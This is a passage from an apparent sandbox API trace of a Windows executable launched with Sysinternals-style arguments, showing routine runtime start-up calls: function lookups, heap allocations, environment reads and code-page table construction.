lpProcName="DialogBoxIndirectParamW") returned 0x767bcbf3 [0108.424] GetProcAddress (hModule=0x76780000, lpProcName="EndDialog") returned 0x767bb99c [0108.424] GetProcAddress (hModule=0x76780000, lpProcName="LoadCursorW") returned 0x767988f7 [0108.424] GetProcAddress (hModule=0x76780000, lpProcName="InflateRect") returned 0x767a3309 [0108.424] GetProcAddress (hModule=0x76780000, lpProcName="GetSysColorBrush") returned 0x767a35a4 [0108.424] GetProcAddress (hModule=0x76780000, lpProcName="SetCursor") returned 0x767a41f6 [0108.424] GetProcAddress (hModule=0x76780000, lpProcName="SetWindowTextW") returned 0x767a20ec [0108.425] GetProcAddress (hModule=0x76780000, lpProcName="GetDlgItem") returned 0x767bf1ba [0108.425] LoadLibraryA (lpLibFileName="VERSION.dll") returned 0x74310000 [0108.425] GetProcAddress (hModule=0x74310000, lpProcName="GetFileVersionInfoW") returned 0x743119f4 [0108.425] GetProcAddress (hModule=0x74310000, lpProcName="VerQueryValueW") returned 0x74311b51 [0108.425] GetProcAddress (hModule=0x74310000, lpProcName="GetFileVersionInfoSizeW") returned 0x743119d9 [0108.425] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0108.434] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0108.434] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xe414aa40, dwHighDateTime=0x1d5d06a)) [0108.434] GetCurrentThreadId () returned 0xec8 [0108.434] GetCurrentProcessId () returned 0xec4 [0108.434] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=25038671406) returned 1 [0108.435] GetProcessHeap () returned 0x5e0000 [0108.435] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0108.435] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0108.436] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0108.436] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0108.436] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0108.436] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0108.535] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventExW") returned 0x76ea410b [0108.535] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreExW") returned 0x76ea4195 [0108.535] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadStackGuarantee") returned 0x76e2d31f [0108.535] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolTimer") returned 0x76e3ee7e [0108.535] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolTimer") returned 0x7736441c [0108.535] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7738c50e [0108.535] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolTimer") returned 0x7738c381 [0108.535] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWait") returned 0x76e3f088 [0108.536] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolWait") returned 0x773705d7 [0108.536] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWait") returned 0x7738ca24 [0108.536] GetProcAddress (hModule=0x76e10000, lpProcName="FlushProcessWriteBuffers") returned 0x77340b8c [0108.536] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x773ffde8 [0108.536] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessorNumber") returned 0x77391e1d [0108.536] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalProcessorInformation") returned 0x76ea4761 [0108.536] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSymbolicLinkW") returned 0x76e9cd11 [0108.536] GetProcAddress (hModule=0x76e10000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0108.536] GetProcAddress (hModule=0x76e10000, lpProcName="EnumSystemLocalesEx") returned 0x76ea424f [0108.536] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringEx") returned 0x76ea46b1 [0108.536] GetProcAddress (hModule=0x76e10000, lpProcName="GetDateFormatEx") returned 0x76eb6676 [0108.536] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoEx") returned 0x76ea4751 [0108.536] GetProcAddress (hModule=0x76e10000, lpProcName="GetTimeFormatEx") returned 0x76eb65f1 [0108.536] GetProcAddress (hModule=0x76e10000, lpProcName="GetUserDefaultLocaleName") returned 0x76ea47c1 [0108.537] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidLocaleName") returned 0x76ea47e1 [0108.537] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0108.537] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentPackageId") returned 0x0 [0108.537] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount64") returned 0x76e3eee0 [0108.537] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0108.537] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0108.537] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x3bc) returned 0x5f60c8 [0108.537] GetCurrentThreadId () returned 0xec8 [0108.538] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x18) returned 0x5f6490 [0108.538] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x800) returned 0x5f64b0 [0108.538] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40ad42, hStdOutput=0x31aab4b1, hStdError=0x0)) [0108.538] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0108.538] GetFileType (hFile=0x3) returned 0x2 [0108.538] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0108.538] GetFileType (hFile=0x7) returned 0x2 [0108.539] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0108.539] GetFileType (hFile=0xb) returned 0x2 [0108.539] GetCommandLineW () returned="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner" [0108.539] GetEnvironmentStringsW () returned 0x5f6cb8* [0108.539] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb84) returned 0x5f7848 [0108.539] FreeEnvironmentStringsW (penv=0x5f6cb8) returned 1 [0108.540] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x426ea0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0108.540] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x88) returned 0x5f6cb8 [0108.540] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0xa0) returned 0x5f6d48 [0108.540] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x3e) returned 0x5f83f0 [0108.540] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x6c) returned 0x5f6df0 [0108.540] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x6e) returned 0x5f6e68 [0108.540] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x78) returned 0x5ef8e8 [0108.540] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x62) returned 0x5f6ee0 [0108.540] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x2e) returned 0x5f6f50 [0108.540] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x48) returned 0x5f6f88 [0108.540] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x28) returned 0x5f6fd8 [0108.540] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x28) returned 0x5f7008 [0108.540] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x1a) returned 0x5f5a98 [0108.540] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x4a) returned 0x5f7038 [0108.540] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x72) returned 0x5ef968 [0108.540] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x30) returned 0x5f7090 [0108.540] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x2e) returned 0x5f70c8 [0108.540] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x1c) returned 0x5f5ac0 [0108.540] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0xd2) returned 0x5f7100 [0108.540] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x7c) returned 0x5f71e0 [0108.540] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x36) returned 0x5f7268 [0108.540] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x3a) returned 0x5f8438 [0108.541] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x90) returned 0x5f72a8 [0108.541] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x24) returned 0x5f7340 [0108.541] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x30) returned 0x5f7370 [0108.541] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x36) returned 0x5f73a8 [0108.541] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x48) returned 0x5f73e8 [0108.541] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x52) returned 0x5f7438 [0108.541] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x3c) returned 0x5f8480 [0108.541] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x18) returned 0x5f7498 [0108.541] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x82) returned 0x5f74b8 [0108.541] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x2e) returned 0x5f7548 [0108.541] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x1e) returned 0x5f5ae8 [0108.541] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x2c) returned 0x5f7580 [0108.541] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x54) returned 0x5f75b8 [0108.541] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x52) returned 0x5f7618 [0108.541] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x2a) returned 0x5f7678 [0108.541] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x3c) returned 0x5f84c8 [0108.541] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x54) returned 0x5f76b0 [0108.541] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x24) returned 0x5f7710 [0108.541] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x30) returned 0x5f7740 [0108.541] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x8c) returned 0x5f7778 [0108.541] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x5f7848 | out: hHeap=0x5e0000) returned 1 [0108.542] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x800) returned 0x5f7810 [0108.542] GetLastError () returned 0x0 [0108.542] SetLastError (dwErrCode=0x0) [0108.542] GetLastError () returned 0x0 [0108.542] SetLastError (dwErrCode=0x0) [0108.542] GetLastError () returned 0x0 [0108.542] SetLastError (dwErrCode=0x0) [0108.542] GetACP () returned 0x4e4 [0108.542] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x220) returned 0x5f8018 [0108.542] GetLastError () returned 0x0 [0108.542] SetLastError (dwErrCode=0x0) [0108.542] IsValidCodePage (CodePage=0x4e4) returned 1 [0108.542] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fecc | out: lpCPInfo=0x18fecc) returned 1 [0108.542] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f994 | out: lpCPInfo=0x18f994) returned 1 [0108.542] GetLastError () returned 0x0 [0108.542] SetLastError (dwErrCode=0x0) [0108.542] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0108.542] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f718, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0108.542] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9a8 | out: lpCharType=0x18f9a8) returned 1 [0108.542] GetLastError () returned 0x0 [0108.542] SetLastError (dwErrCode=0x0) [0108.542] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0108.542] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0108.543] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0108.543] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0108.543] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fca8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ!µª1äþ\x18", lpUsedDefaultChar=0x0) returned 256 [0108.543] GetLastError () returned 0x0 [0108.543] SetLastError (dwErrCode=0x0) [0108.543] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0108.543] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0108.543] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0108.543] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0108.543] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fba8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 